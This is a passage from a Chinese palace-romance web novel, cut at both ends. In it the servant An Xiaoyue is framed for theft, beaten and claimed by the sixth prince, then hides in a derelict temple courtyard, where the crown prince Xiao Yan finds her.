安小月一阵心惊肉跳,脸色瞬间惨白,糟了,狗太子真的发现了! “殿下在说什么……奴婢听不懂。” “不懂?” 萧衍猝不及防地掐住她的下巴,一手拽着她的手腕拉到东侧书房。 一个熟悉的紫檀提盒静静地放在临窗的黄梨花木桌上。 安小月瞳孔微颤,藏在袖中的手死死攥住衣角,看了一眼,又忙低下头,整个人仿佛要钻进地缝。 萧衍如同鬼魅一般的声音在耳侧响起,“怕了?偷听孤谈话的时候就不知道怕?” “回殿下……”她咬着牙根的声音发颤,“偷听绝非奴婢本意,奴婢是去送经书的,只是没来得及走,请殿下恕罪!” “哼,孤问的是你如何让赵忠和小沙弥替你隐瞒?” 安小月喉咙像是被一双无形的手扼住,明明话就在嘴边,但就是发不出声音。 是她连累了他们。 虽然他们同意她提议的原因是担心自己会受责罚,这才对她睁一只眼闭一只眼。 但事后包庇却是因为她。 安小月忍不住胡思乱想起来,听闻狗太子异常残暴,对待背叛的下属比对待仇人下手更狠。 赵忠会面临什么样的处罚? 那个好骗的小沙弥又该怎么办! 她挣脱萧衍的束缚跪倒在地,额头抵在冰冷的地砖上。 “这都是奴婢自己的主意,奴婢怕经书送不进去会被殿下责罚,这才铤而走险,赵大人和小沙弥都是被奴婢哄骗了,还请殿下饶了他们,奴婢甘心受罚!” 萧衍冷冷道,“他们本应该对孤尽职尽忠,却因为你开口哄骗连孤都敢欺瞒,若是饶了他们,孤以后又该如何捍卫皇家威严?” 安小月呼吸差点停滞,是她过于短视了。 “那……奴婢愿意替赵大人和小沙弥受罚。” 萧衍差点被她这句蠢话气得笑出声。 冷呵了半天,抬起脚想踹,又想到这人病殃殃的,哪里经得住自己这一脚,咬咬牙又收了回去。 “愚不可及,你可知道按照律法偷听者轻则流放重则腰斩,包庇者同罪。” “而你们……鉴于孤只是日常闲聊,不过是杖毙罢了,让孤猜猜,你这小身板挨多少板子才会咽气?” 安小月骨节泛白,肩膀跟着呼吸轻轻颤动。 都说天威难测,伴君如伴虎。 狗太子如今还没坐上那个位置气势就这般骇人,在让人窒息的皇权之下,她就像是蚂蚁那般脆弱。 原以为凭着自己的姿色和手段,总能哄的这位未来的帝王对她例外。 可此刻才明白这种想法有多愚蠢。 安小月又一次生出逃走的心思,哪怕跑回相府和娘一起忍受责罚,都比随时会小命不保的强。 她不说话,吓得像个鹌鹑,倒是把刚才还一肚子怒火的萧衍给逗笑了。 嘴角刚扬起来又觉得烦躁。 “你就是见孤好脾气才一而再的挑衅孤,若你偷听的是旁人,这会儿早就被扔到乱葬岗了,那还由你耍小心思扯谎?” 萧衍想到白日主持告诫的那番话,眸色暗了下来。 “孤可以不计较你来孤身边的目的,只要你安分守己,乖乖待在太子府,不给孤惹麻烦,孤可以留你一命。” “若是你再耍心思……” 他突然噤声,从袖子里抽出一张纸条随手扔到她面前,面无表情地走了出去。 他离开许久安小月才敢动弹,捡起那张纸扫了眼,面色瞬间大变。 她倒抽一口气,仔细地将纸条收好才踉踉跄跄地跑出东侧书房。 这一夜注定睡不好。 直到天边泛起亮光,安小月才隐约有了些睡意,只是刚睡下就又被人叫醒了。 “快起来,几位皇子和公主马上就到瑞光寺了,咱们得跟着明觉主持去山门迎候,殿下已经去正殿礼佛了!” 安小月猛地惊醒,眼睛还没彻底睁开,人已经翻身下床。 青莲正在门口催促,见她动作缓慢像是还没清醒,急忙过来帮忙。 “姑娘今天可得打起精神,我听说有很多人都对姑娘好奇,说不定会借这个机会见见姑娘,咱们可千万不能被别人抓住把柄,不然苏公公肯定饶不了咱们!” 安小月的心越发沉了下去。 她来之前只想着近水楼台先得月,多接触狗太子总没坏事,可却忘了其他人。 她的存在藏不住,必定是要引起议论的。 唉,她幽幽叹了口气。 只怕今日会比昨日更不好过。 简单洗了把脸,她和青莲急匆匆地往山门方向跑去,路上遇见正往同个方向去的明觉主持,身后还跟着瑞光寺众僧。 两人悄悄跟在最后,总算是有惊无险找到了苏公公等人。 没等多久,独属于皇家冗长华丽的仪仗队终于到了门口。 皇子列东,公主列西,同时对明觉主持合掌还礼之后,才跨进了山门。 安小月在人群中看到了许久没见的六皇子,自从差点被圣上责罚之后,六皇子收敛了许多。 至少不像之前那般嚣张跋扈,穿着一身素衣,颇有些云淡风轻之态。 突然,方才还与旁人说话的六皇子直接朝安小月看了过来,目光灼热。 发现她吓了一跳,又故意挑了挑眉,嘴唇张张合合,似是说了句什么。 安小月脸色却立即一片惨白。 第43章 让她出丑 众位皇子公主按照规矩住进自己的院子。 除了皇子们的居所离太子的别院近一些,女眷们则被安排在较远的中心位置,派有重兵把守。 略作休息,众人又被带进净室,不仅要整理贡品,还要核对祈福文书。 到这一步就不需要安小月等人在场了,她借口给狗太子做素斋躲进了厨房,生怕会被叫出去。 安小月切着菜,神情恍惚。 六皇子刚才是什么意思…… 难道真和她猜测的一样,娘和阳儿当真在他手上? 她眨了眨眼,藏起心底的起伏波澜。 吃过中饭,安小月终于从青莲那里得知相府来人了。 相府作为太子未来岳家,理应参加这次的祭祀仪式,来的人是王氏及她的长女安欢颜。 听到消息时安小月正在叠金元宝,闻言差点揉碎手上脆弱的金箔。 “哎呦,姑娘小心点。”青莲忙从她手上接了过去,“弄坏了苏公公要骂的。” 安小月尴尬地笑了笑,看了眼外面的天色。 “青莲,我想出去透透气,若是有人问起的话,你就说我去更衣了,好不好?” 明天就是正式祭祀仪式,她想在今天证实一下自己的猜测。 六皇子怎么会突然把娘和阳儿带走? 若是真的,相府的人又怎么会答应? 青莲点头,“姑娘去吧,也没多少了,我自己就能弄完。” “多谢,我马上回来。” 安小月充满感激地看了她一眼,避开人群,从小门溜出别院。 王嬷嬷说过,皇子们都住在净土门迹,离这里只隔着两个院子。 她须得更加小心谨慎。 绕过蜿蜒曲折的回廊,还没有拐进第一个垂花门,远远的就听到了女子齐声念经的声音。 安小月脚步一顿,她该不会是误闯了不该来的地方吧! 心头一紧,正要离开,从回廊右侧出来一个面白无须的公公模样的人。 他冲安小月招了招手,“那个小丫头,你过来。” 安小月以为是听错了,不动。 那公公气得骂了句,“说你呢!就是你,还不快过来,耽误贵人的事你赔得起吗!” 她这才确信这声厉喝就是朝她来的。 安小月无声叹气,眉尖蹙起。 她该不会真带了几分晦气吧? 不然怎会如此倒霉。 心里抱怨两句,终还是低眉顺眼地走了过去。 “奴婢见过公公。” 老太监眯着眼睛打量她,发现她身上的衣裳虽然和宫女的宫装一致,在面料和细节上却更为精致。 他冷哼道,“你是哪个宫里的?人人都在准备明日的祭祀仪式,你乱跑什么?” “公公恕罪,奴婢是六殿下宫里的,帮忙送些东西,不是乱跑。” 老太监不屑听她辩解,挥了挥手。 “行了,去准备些上好的素斋茶点送到莲花门迹去,那里坐的都是贵人,准备些精致稀奇的,别什么都往外拿。” 安小月应了声,笑问,“劳烦公公告诉奴婢有几人,奴婢也好拿的全些。” “你这丫头还挺有心,罢了,我数数……三公主五公主……拿上八人份的吧,尽够了。” 安小月指尖微微发颤,果然是那些女眷。 那王氏和安欢颜定然也在那里。 没想到千算万算,竟在第一日就与她们碰上了。 应下吩咐,她飞快转身离开此处,逐渐加快的步伐显露出她内心的不平静。 若是在茶里动点手脚,就算不能要了她们的命,哪怕只是让她难受一阵,又在众人面前出丑…… 寺庙里有专为这些贵人们制作素斋茶点的地方。 她到了小厨房领了东西,独自拎着两个大食盒慢悠悠地往莲花门迹走去。 一路上心思翻涌,走走停停。 良久之后,她闪身进了一处无人的假山山洞,好一会儿才从里面出来。 到了莲花门迹,诵经声已经停了。 女眷们坐在荫凉处歇息,头挨着头小声交谈。 安小月神色平静地把食盒放下,和伺候的小宫女一起将里面的茶点摆出来。 这时,有阵香气徐徐飘来。 “咦?还真的是你。许久不见,你做事越发麻利了。” 安小月不用抬头都知道是安欢颜,想必她此刻很是得意,说不定还在嘲讽自己说是狗太子的人却还要干奴婢的活! 她恨的绷紧身子,面上却看不出来,放下东西后退一步,规规矩矩地施以一礼。 “奴婢还有事要忙,先行告退。” “诶,不急。”安欢颜轻笑一声,往她身边靠了靠,“许久不见,你都不想我娘吗?她可是很想你呢。” “颜儿,出什么事了?” 话音刚落,王氏似乎是见安欢颜没过去,自己找了过来。 安小月心里本能是泛起恶心,拳头握的更紧了。 安欢颜将她的反应尽收眼底,笑道,“娘,只是看到了个熟悉的人,娘来看看还认不认识?” 其余女眷已经围到一边吃点心去了,三人的异常行为居然没引起任何人的注意。 王氏轻哼,压低嗓音,“贱婢!你竟敢打颜儿,若不是场合不对,我非要扒了你的皮不可!” 安小月抬眸扫了她一眼,“我现在是太子的人,你想动我也得问问太子答不答应。” 她偷听狗太子都能饶了她,要是被外人欺负到头上,相府也没好果子吃。 王氏被她语气中的有恃无恐气的发抖。 “贱人!和你娘一样的贱人!见着个男人就往上扑,说!你和太子殿下到了哪一步!” 安小月挑衅勾唇,眼眸中闪烁着报复后的快感。 “你觉得呢?殿下到底是个男人,就算……” 她顿了顿,故意不说下去,反而道,“还是你人老色衰,太长时候没被宠幸过,连这个都忘了吗?” 王氏和安欢颜同时脸色巨变,精致的面容微微扭曲。 这句话可是戳到了她们的痛处,只因为当今相爷明面上没有妾室,实际上养了一大批娇艳如花儿一样的年轻姑娘。 王氏这位置看着雍容华贵,实际上早就空了。 安欢颜咬牙,“安小月!你真以为我不敢弄死你吗?就算赔上我下半辈子,我也不会让你好过!” “哼。”安小月神色轻蔑,白了她们一眼,“那就等你先嫁进太子府再说吧。” 第44章 是谁里应外合陷害 兴许到那时她早就带着娘和阳儿跑了也说不定。 撂下这句话,安小月敷衍地行了个礼,也没心思去找六皇子了,按着原路返回。 她现在在狗太子那里就像不着寸缕似的,没有丝毫秘密可言。 还是得先小心一阵子再做打算。 安小月回了别院,帮着青莲把捏好的金元宝收拾起来,正要去小厨房熬些败火茶喝,就见安公公带着几个婆子进了别院。 她往那边扫了眼,继续往小厨房走。 这时…… “安姑娘等一下。”身后苏公公在喊。 安小月脚步一顿,狐疑转身。 苏公公带着粗壮婆子靠近,脸色有几分难看,他身后的婆子却眼神阴冷。 活像来找她麻烦似的。 “苏公公有何吩咐?” 苏德眼神复杂,“安姑娘,你午后可曾去过什么地方?或者捡到过什么东西?” 安小月心头一跳,老实道,“奴婢午后的确出去了一趟,是想去荷花池摘些花瓣给殿下做点心,路上被一位公公派去取了茶点,送到了莲花门迹。” “那就没错了,必定是她偷了三公主的玉钗!” 安小月心里咯噔一下。 她是见过三公主没错,但都没靠近贵人,何谈偷? 粗壮婆子虎视眈眈,似乎想立即抓了她回去复命,安小月忍了下去,也不恼。 “还请公公明查,奴婢是见过三公主不假,可是……” 还没解释完,一个婆子高声喊道,“苏公公,三公主的玉钗找到了!” 几人顺着声音看过去,就见那婆子径直从安小月住的那间屋子跑过来。 她不可置信地瞪大眼睛。 “怎么可能?我明明……” “你明明藏的很好,却还是被我们找出来了!”一个婆子抢话道,怒哼一声,蒲扇大的手就朝她抓了过来。 “人赃并获,苏公公,我们得带人去公主那里交差!” 苏德眉头紧皱,不解地看了眼安小月。 “你怎么会如此糊涂!” 殿下可使赏了她百两白银,虽不比玉钗贵重,但好歹是自己的,又何必…… 唉! 安小月挣扎着喊冤,“苏公公,奴婢没有偷东西,这是有人陷害我!” 她从外头回来后连屋子都没进去,一直和青莲在一起。 对了,青莲! 安小月急忙朝屋子里喊,“青莲,青莲你快出来,我回来后就与你在一起,你快帮我作证!” “那丫头必然是你的同伙!还是带去公主那里,殿下自有分辨!” 婆子们不听她的辩解,苏德拧眉不动,她竟然就被这样拉着走了,没有一个人出来阻拦。 安小月心里一片冰凉,会是谁里应外合陷害她! 苏德焦急地跺了跺脚,转身跑了出去。 萧衍刚听完明觉主持讲解佛经,感觉自己的心平静了不少,就见苏德小步跑了进来。 他不悦呵斥,“跑这么急做什么?不知道寺庙里禁止疾跑?” “殿下恕罪!”苏德放慢脚步,先仔细观察了下太子殿下的脸色,才小心翼翼道,“殿下,出事了,安姑娘被三公主的人带走了。” “晴柔?”萧衍拧眉,“出了何事?” 苏德一五一十的老实交代。 萧衍却良久没有出声,手里转动佛珠的速度越来越快。 他垂下眼皮,幽幽道,“证据确凿,她偷了东西,难道还让孤包庇不成?” “可是,奴才总觉得安姑娘不是这种人。” 苏德总觉得哪里不对,又说不上来。 萧衍语气平静,“你觉得没用,她得罪了人,也该她吃点苦头,不然真要无法无天了。” 说完他又想起暗卫午后看见的那事,眉间不悦地皱起。 苏德等了会儿也没等到他改口,试探道,“那老奴可要给三公主说一声?” 萧衍嗤笑,侧头睨了眼。 “你倒是跑得快。” 苏德顿觉自己不该说这句话,脸上堆着谄媚的笑。 “老奴说错了,该打。” 他说着在嘴上拍了一下,见太子爷总算移开目光,这才松了口气。 与此同时,安小月正跪在莲花门迹的粗砖地上。 周围站了两排粗壮婆子,点燃的火把印出一片金黄,气氛凝重紧绷,坐在上首的人却悠哉地喝着茶。 “偷盗者,按律杖责三十,这玉钗是先皇额娘赐的宝贝,你倒是会偷!” 三公主放下茶盏,轻飘飘道,“那就多加二十,若是能活,本公主就饶了你。” 她下了命令,一旁的婆子即可将安小月压下去行刑。 求饶的话尚未出口,第一板重重落下。 安小月浑身一颤,指甲深深陷进砖缝,瞬间血肉模糊。 婆子下手又快又狠,十板过后,她的下半身已经渗出血痕,人也接近半死。 “住手!” 安小月艰难睁眼,心头快跳了两拍。 是狗太子吗? 三公主诧异的声音传来,“六弟,这里是女眷别院,你怎么过来了?” 萧泽含笑的眼睛从一动不动的安小月身上掠过,开门见山道,“皇姐,这宫女我认识,脾气是大了点,但绝不会偷东西,难道是这中间出了什么误会?” 三公主挑眉,“可是人赃并获。” “若人有人故意陷害,这有何难?” 三公主微微一笑,目光意味深长的在两人身上打转,笑道,“六弟说得有理,既然六弟难得开口,这次就先饶了她吧。” “多谢皇姐。”萧泽目的达成一半,笑的更灿烂了。 “那皇姐可否把她赏给我?我觉得这丫头甚是有趣,想带回去解个闷。” 三公主一下就想到了安小月出色的长相和身材,似乎是懂了些什么。 毫不犹豫道,“六弟喜欢就带走吧,一个贱婢,本来也是要死的人。” 萧泽哈哈一笑,命小太监把安小月抬了起来。 还笑眯眯地走到边上看了眼,啧啧两声,“可惜了这幅好皮相,也不知道能不能养回来……” 安小月疼得快晕过去了。 只想着能离开这里就好,至于六皇子讨要她要做什么,已经顾不上想了。 一行人渐行渐远,还能听到萧泽心情颇好的哼着小曲儿。 三公主微微蹙眉,“怪了,六弟怎么会对个婢女感兴趣?” 又叫来婆子问,“你确定这就是个普通宫女,不是太子哥哥房里那位?” “确定,老奴过去的时候,这贱婢正要去厨房烧火呢,定不是那位。” 第45章 逃跑 夜色如墨,萧衍得知安小月被人带走时已经不早了,苏德紧张地觑着他的神色,只等着一声令下。 可萧衍惊讶过后便是沉默,站在窗前良久不动。 “明知明日是母后生祀,却还要在佛门重地动手,孤这些弟妹,一个个都长大了,翅膀硬了。” 忽地,角落放置的白烛“啪”地爆了个灯花,硬生生让苏德一个哆嗦跪了下去。 “殿下……” 父皇虽立了储君,可到底夜长梦多。 各方势力博弈必然会带来这种局面,只是没想到安小月会撞了上去。 萧衍眼底掠过一抹杀意,后又用力闭了闭眼,再睁开,眼底一片狠决。 “孤在孝期不好动手,告诉王五,他知道该怎么做。” “诺。”苏德恭敬垂头,顿了顿,“殿下,那安姑娘那里……” “不必。”萧衍冷声阻止,“老六三番两次跟孤讨要,便是给了又如何?区区一个婢女罢了。” 苏德咋舌,无声叹气,但还是领了命令出门。 他走后许久,萧衍紧绷的肌肉才放松下来,神色复杂看向紫檀提盒。 这样也好,他总归是要送走她的。 总比死在他手上强。 可老六那个性子……萧衍眉头又拧了起来,即便老六对这女人念念不忘,却还是流连花丛。 前不久他宫里又死了两个宫女,她去了,兴许活不过今晚。 思及此,萧衍刚做好的决定竟又开始动摇,颇费了些力气才压下去。 他冷了脸,路过时将那碍眼的紫檀提盒随手挥落在地。 与此同时,安小月已被六皇子安顿在一处偏殿,并派了一个嬷嬷,一个宫女贴身照顾。 萧泽俯身盯着,伸出食指在她惨白的脸上划了一下,随后慢条斯理地含住指尖。 安小月的心狠狠提了起来。 “嗯……竟然是苦的。”萧泽邪邪勾唇,肆无忌惮的眼神从她身上掠过,摇头感慨。 “真是可怜,女人的嫉妒心啊,啧啧。” “寻个大夫给她瞧瞧,用最好的药膏,本皇子可不喜欢女人身上有疤。” 随口吩咐完,萧泽大摇大摆地出了偏殿。 安小月本想借机问问家人的事情也被迫憋了回去。 算了……她不禁摇头苦笑。 六皇子讨要过她无数次,这次终于是如愿了。 说不定今后会有很多机会细细问来。 她伤在臀腿,因此只能趴着,侧头费力地看向门外,“嬷嬷,我原是太子别院的人,随身物品也在那里,嬷嬷可否帮我取一下?” 老嬷嬷和宫女对视一眼,洗了帕子给她擦了额头上的汗。 “姑娘放心吧,进了咱们六殿下院里,断不会让姑娘委屈的,再说院里已经落了锁,咱们也进不去啊。” 安小月闻言抿唇,已经到落锁的时辰了。 狗太子还没派人寻她。 正胡思乱想着,从外头进来个女医,诊完脉便要给她处理伤口。 沾了血的衣裳早已与伤口粘连,在烛光下泛出暗红色。 女医小心地用银剪剪开布料,招宫女把烛台拿近一点,开始挑伤口里的碎渣。 安小月突然绷紧身体,双拳紧握。 脖颈像挣扎的鱼一样伸长伸直,喉间溢出一道痛呼。 老嬷嬷按住不让她乱动,侧着脑袋往她臀腿交界处看。 与伤口粘住的布料每被揭起一寸,就带出新溢出来的血珠,女医一边擦一边揭,到最后帕子都成了血红。 安小月呼吸越发急促,听到女医吐了口气,以为终于完了。 又听到女医开口,“还得再疼一下,有一处得用针缝起来,忍一忍便好了。” 一听到还要用针,安小月猛地直起上半身。 动作幅度过大牵扯到了伤口,一股钻心的疼深入骨髓,她瞳孔骤然缩紧。 随即三人就听到“咚”一声,她终于疼晕过去。 这倒也是件好事,等她再次清醒,外头天色已经大亮,很轻易就能听见万声合诵经声。 已经是第二天了,是这次祭祀之行最关键的环节。 想必这会儿所有人都在正殿前进行仪式,就连照顾她的那两人估计也在那里。 安小月突然感觉一道寒颤传遍全身,一个大胆的念头浮出脑海。 要不……逃吧! 此时的瑞光寺想必是防守最松懈的时候,错过这次,可能永远都逃不出去了。 安小月当机立断决定要先逃走藏起来。 她不光要逃走,还要让六皇子以为她是被人强制带走的,这样他才不会恼羞成怒对自己家人下手。 休息了一夜她已经恢复了些体力,颤巍巍地扶着床爬起来,但即便是小心再小心,下身还是会传来撕心裂肺的疼。 这两人离开前应当是觉得她下不来床,房门只虚掩着。 安小月从错开的缝隙中看见大门口只坐了个老婆子靠着门柱打瞌睡。 真是助她也。 瑞光寺除了天子和太子的别院规格稍大,布局与其他院落不同,剩下的都是一样的格局。 她在庙里闲逛的那一日早已经摸清了。 安小月心里有了些底气,随手将她盖的被褥一半扯到地上,又把放在床边的鞋子弄乱,赤着脚小心地摸出了门。 那老婆子睡得很熟,她溜到侧门时已经大汗淋漓,很是费了些时间,但那婆子竟然一点都没发觉。 安小月听着远处传来的祭祀雅乐,毅然决然地跨出侧门。 这处偏殿应该是寺庙里最偏僻的角落,刚从侧门出去没走多远就看到了高高的院墙。 门口守着两个带刀侍卫,正蹲在门口玩闹,嬉笑声之大甚至都没发觉有人靠近。 安小月只看了一眼就收回视线,想了想,调转方向往回走。 她是跑不出去瑞光寺的,就算能出去,瑞光寺地处偏僻,为显皇家威严,周围连个农舍都没有。 她退而求其次打算寻个破败的院子先躲起来,依六皇子的莽撞,应该会认为她是被掳走了。 最后一丝力气快要费尽之前,安小月终于找到了合适的藏身之处。 不远处的破院子灰扑扑的,一看就是许久都不会来人打扫。 她警惕的环顾四周,猫着腰溜了进去。 谁知正屋中间居然摆了一尊佛像,安小月刚抬头就对上大佛低垂的眉眼,心里狠狠咯噔了一下。 她双手合十连声念着“阿弥陀佛”,踩着破砖躲到了佛像后面。 隔间位置狭小,却刚好能容得下她,除非有人爬上来,不然很难发现这里躲着人。 第46章 锁禅台 安小月累狠了,估摸着祭祀大典还要些时候才能结束,闭上眼养精蓄锐。 和她猜想的一样。 为了显示诚心,不论是太子或者是皇子公主,不光他们本人要到场,院里留下看守的人,其余都得去参加祭祀仪式。 萧泽算准了安小月没胆子逃走,这才只留了看门的婆子。 等到仪式结束已经到了午后,他忍着心里的厌恶把亲手抄写的经书递给小沙弥,被小太监搀扶起身。 “殿下可否要用膳?素斋要等到日落之后了,奴才备了点心,殿下先垫垫肚子吧。” 萧泽的确饿了,摸了摸肚子让人上点心过来,突然又想起来安小月。 “仪式完了,你让那两个宫女回去吧,可别真让她饿死了。” 想到某人刚才冷着的脸,萧泽就好一阵畅快。 千方百计的拒绝又如何,不还是被他得到了? 等时机到了,那个位置自然也是他的! 萧泽眼底飞快地闪过一抹势在必得,身后传来三皇姐的声音,他又恢复成往常淡定的样子。 三公主一脸焦急,屏退众人才开口,“皇弟,你可要把我害惨了,昨天那宫女就是太子哥哥房里那位,你怎么……唉!” 萧泽心底不屑,面上却装得无辜。 “那又怎么了,我都打听过了,太子哥哥可没要这个女人,既然他不要,我捡走又怎么了?更何况都现在了太子哥哥也没派人找,定是不在乎。” “皇姐就放心吧。” 萧泽说完又没心没肺的继续吃点心,全然没有看到三公主微微勾起的唇角。 堂侧静室一派安静祥和的气氛并没有维持多久,两个宫女急匆匆地快步进来。 “殿下,出事了!” 萧泽被一惊,差点咬住舌尖,一脸烦躁地把手里的点心朝宫女砸了过去。 “说!” 老嬷嬷看了眼一旁的三公主,发觉殿下没有要避人的意思,慌乱道,“回殿下,昨晚上带回来的那个姑娘好像是被人掳走了,房里没有人,东西都乱了!” “什么?”萧泽不可置信地站了起来。 “院里看门的人呢?” “奴婢们回去的时候那婆子就在门口坐着,并没有发现任何异常,来的人可能武功了得,要不然断不会一点动静都没有!” 老嬷嬷也是怕被六皇子怪罪,故意将事情说得严重。 萧泽人在气头上还真的被带偏了,面色阴冷,咬牙切齿喃喃,“武功高手,呵……” 此行除了太子,没有人能带带刀侍卫过来。 除了他还能有谁! 萧泽猛地将桌上的茶盏挥落在地,一阵脆响之后,他怒声道,“为什么我的东西总有人要抢!为什么!” 他一甩衣袍怒气冲冲地出了门,贴身伺候的老太监看情况不对,大呼小叫地追了上去。 两个宫女跟三公主行了礼也慌慌忙忙地跟上。 萧晴柔幽幽叹了口气,“还真是来对了,要不然错过这场好戏可多可惜。” 堂堂储君竟然和亲弟同时争夺一个贱婢! 呵,说出去怕是要笑死人了。 那头,正在气头上的萧泽直接找到了萧衍那里去,不顾侍卫的阻拦闯了进去。 萧衍正在闭目养神,听到动静看了过去,还以为自己眼花看错了。 他垂眸后又抬起来,眉头微微皱起。 “慌慌张张像什么样子?不知道今日是什么日子?” 赵忠抓着刀紧跟其后,一脸为难,“属下没能拦得住六皇子,还请殿下降罪。” 萧衍无所谓地挥挥手示意他出去。 “累了一天,六弟竟还有精力来孤这里,到底出了何事?” “太子哥哥,你就别装了。”萧泽真是气狠了,咬着牙面露不屑。 萧衍嗤笑,“孤装什么?” “你敢说不是是你派人把那个女人掳走的?” 萧泽见他面色坦然,毫无愧疚之意,想冲过去辩个痛快,就被一旁的苏德拦住。 萧泽深吸了口气,“你若是不想把她让给我,大可以在昨日就把人带走,偏偏要过了一夜,难道我天生就要……” 给你打下手! 最后几个字萧泽不敢说出来,到底是心存忌惮,费力忍了下去。 萧衍沉默了会,似是惊讶道,“你的意思是,那个女人跑了?” “她伤得极重,只靠自己怎么可能跑得出去,各个门都有侍卫守着,若是没有人帮忙,怎么可能跑得了!” 萧泽说这话的时候直勾勾的盯着萧衍,心里怀疑背后之人是谁不言而喻。 苏德忍不住开口,“六殿下,太子殿下从昨夜忙到现在都没合眼,哪里顾得上一个婢女,不如殿下回去好好找找,说不定她只是藏起来了。” 萧衍一手有节奏地敲击桌面,心里百感交集。 够大胆,也够蠢。 除非她一日之内跑得远远的,要不然定会被找回来,一旦被抓回,等待她的可能比死还要痛苦。 他倒是又小看了她,还以为她昨夜便要死了,看来他这个好六弟多少是生了几分怜悯之心。 萧衍眼底闪过一丝暗芒,疲倦地闭上眼。 “孤没时间管一个婢女的事情,六弟不如先回去好好找找吧,若是真的丢了,孤再派侍卫去找。” 萧泽听到他敷衍的安排,眼里火气更甚。 若是真心想让他把人找回来,大可以现在就派侍卫找人,何必要浪费时间! 他冷哼一声,“最好真像太子哥哥所言一样,要不然我定要将这件事情查个水落石出!” 萧泽知道多说无益,一甩衣袍大步离去。 苏德正要感慨一句,就瞧见他家这位爷嘴角却翘了起来,似乎心情很好的样子。 要知道每年这个时候,就连圣上都不想多看他家这位爷一眼。 实在是看一眼都觉得吓人。 苏德试探问道,“殿下该不会是真的派人掳走安姑娘了吧?” “孤若是想要她,昨日就不会让人将她带走。” 萧衍没了睡意,撑身坐起来,“叫王四进来回话。” 苏德忙去唤了人,一个黑如罗刹的瘦小男子走了进来。 “你一直跟着,可曾见到她逃出了什么地方?” 萧衍饶有兴致地等着答案,就听王四低声道,“殿下,那女子藏到了锁禅台。” 话音刚落,萧衍神色瞬间紧绷,就连一旁的苏德也条件反射地跪了下去。 这安姑娘可真是会找地方。 第47章 破罐子破摔 萧泽回去之后就派出人手以偏殿为中心大范围展开搜索。 至于那个看守失职的婆子早已经被拖出寺庙乱棍打死,扔到河里去了。 可入夜之后依旧没有半点进展。 气得萧泽砸了明觉主持亲自送过来的素斋,并拿了私带进来的刀,想要再去找萧衍算账。 老太监急忙将人拦住。 “殿下息怒,娘娘费尽心思谋划只差最后一棋,殿下可莫要为了一个女子耽误了千秋大业啊!” 萧泽双目充血,“我就是不服!凭什么事事都要以他为先,主要是他看中的都要抢回去,不仅要抢,还要羞辱我!” 老太监拦着他,无奈叹了口气。 “殿下急什么,纸包不住火,若真是太子殿下派人掳走,必定有败露的那一日,到那时殿下已经成了天下之主,难道还怕一个被废的太子?” 萧泽被老太监的话哄得渐渐消了火气,但还是不服气脸皮被萧衍踩到脚底下践踏。 又突然想起来自己藏在私宅的那两个人,更烦躁了。 “本想着找两个人假扮,能引的那女人心甘情愿的沉浮于我,结果竟然没用得上!你派人把他们处理了,别留下把柄。” 如果安小月还在场一定会被气晕。 谁都想不到萧泽为了个女子竟然会如此大费周章,包括被萧衍派去暗中观察六皇子的王五。 王五踏着月色返回汇报所见所闻,听得萧衍一阵冷笑。 “他不见得有多喜欢这女人,只不过是觉得这女人入了孤的眼,就想要抢过去罢了。” 苏德低声道,“六皇子野心昭然若揭,殿下今后可要小心了。” “兵来将挡水来土掩,或许他都等不到那一天。” 萧衍似乎是想起来什么似的,唇角不屑地勾起,又问,“她还藏在那里?” “是,王四守在附近,没见人出来。” 萧衍拧眉沉默,片刻后突然站了起来,苏德忙问,“殿下可是要去锁禅台?” “孤自己去,你们不必跟着。” 他说罢推开房门,慢悠悠地踱步出去,借着对瑞光寺的了解,没有惊动任何人摸了过去。 可到了地方,萧衍却远远站着没有靠近,神情颇有些抗拒。 这个地方于他而言并不只是个破败院子,从那件事之后,他已经多年没有来过此处。 本以为消散的记忆重新浮现出来,那漫天的血色,痛苦的哀嚎…… 萧衍呼吸一滞,猛地吸了口气。 在树下站了许久他终于迈开脚步,不紧不慢地推门而入。 每跨出一步,身形便紧绷一分,走到门口时脸色已经黑如锅底,不算轻柔地踢开了门。 藏在隔间刚睡醒的安小月骤然警惕起来。 不过听了片刻却只听到一道脚步声,似乎只来了一个人。 她用手掩住口鼻,生怕急促的呼吸把人引过来。 萧衍面无表情的和垂头看下来的佛像对视,原本只是冷漠,长久的对视之后只剩下了烦躁。 他随手捡起断了一截的凳腿朝佛像后边突起的木桩砸了过去。 “出来!” 安小月瞪大眼睛屏气凝神,来的人是狗太子! 他怎么会知道自己在这里? 这个念头刚出现就有了答案,安小月心里愤恨,不是已经把她送人了吗? 为什么还要派人跟着! 她一动不动,像是没有听到某人声音里的不悦似的。 可下一瞬,一道冷哼突然在头顶炸响。 安小月惊恐抬头。 房顶的瓦片缺了几块,月色便从缝隙里照进来,可以清楚的看清面前人的脸色。 萧衍缓慢地俯身,语气中隐隐带着讽刺。 “你可真有本事,竟然能从那里跑到这儿,真以为藏起来就没人能找到你了?” 安小月咬了咬牙,破罐子破摔道,“太子殿下既然已经将我送人,又何必派人暗中跟着?难道是怕我将殿下的秘密告诉旁人?” 萧衍挑了挑眉,还是第一次见她在自己跟前不自称奴婢。 “孤的秘密你怎么会知道?” “殿下以为呢?” 安小月实在受不了这种被人俯视近乎是盘问一样的气氛,抓着佛像的突起便要站起来。 可她在这里躲了许久,关节早已僵硬,下半身又传来撕心裂肺的痛感。 刚动了一下便情不自禁的痛呼。 哪知道原本还是似笑非笑的萧衍脸色立刻冷了下去。 “闭嘴!你生怕没人听见孤和一个婢女躲在此处吗!” 安小月身上疼,心里更疼。 早知道狗太子还暗中派人跟着,她就不跑了,反正也是被找到的结果。 她暗自伤怀,觉得自己怎会如此倒霉,又因为身上的疼,竟然低低地哭出了声。 在黑夜又充满神秘的此处,像极了女鬼索魂。 萧衍头皮发麻,忍无可忍的一把拽住她的胳膊把人拉了出来,又将她横抱起来往供桌上放。 刚要松手,怀里的人发出一声尖叫,哭声更大了。 “做什么!难道还要孤一直抱着你不成!”萧衍眉头抽搐,真想把人扔到地上了事。 安小月已经顾不上生气了,紧紧地抱着他的脖子不松手,柔软的身躯一个劲的往他身上贴。 “我的屁股,我的屁股好疼啊!” 萧衍一顿,这才想起来她昨夜受了杖刑,又折腾了一日,只怕伤口更加惨不忍睹。 可这又跟他有何关系? 萧衍嘴角绷得很紧。 想着直接松手管她掉到地上会如何,哪知道两只手都放开了,这人竟还死死的挂在他身上。 安小月娇弱的哭声就在他耳边,勾的人抓心挠肝,再大的火气也隐约有消散的趋势。 萧衍头疼不已,“孤轻一点,你别哭了。” 